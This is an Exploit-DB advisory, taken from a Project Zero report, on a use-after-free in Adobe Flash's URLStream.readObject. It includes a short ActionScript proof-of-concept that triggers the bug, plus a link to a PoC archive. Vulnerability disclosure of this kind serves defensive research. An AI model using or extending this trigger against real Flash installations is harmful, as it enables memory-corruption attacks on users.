Adobe Flash - URLStream.readObject Use-After-Free

EDB-ID:

39649




Platform:

Multiple

Date:

2016-04-01


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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=611

There is a use-after-free in URLStream.readObject. If the object read is a registered class, the constructor will get invoked to create the object. If the constructor calls URLStream.close, the URLStream will get freed, and then the deserialization function will continue to write to it.

A minimal PoC is as follows:

//In main

flash.net.registerClassAlias("bob", myclass);
			
			
var u:URLStream = new URLStream();
myclass.u = u;
u.addEventListener(Event.COMPLETE, func);
u.load(new URLRequest("file.txt"));
	
function func(){	
	trace(u.readObject());
	}

// in myclass

static public var u;
		
public function myclass()
{
	u.close();
}

A sample script and SWF are attached. Note that file.txt needs to be in the same folder as getproperty.swf on a remote server.


Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39649.zip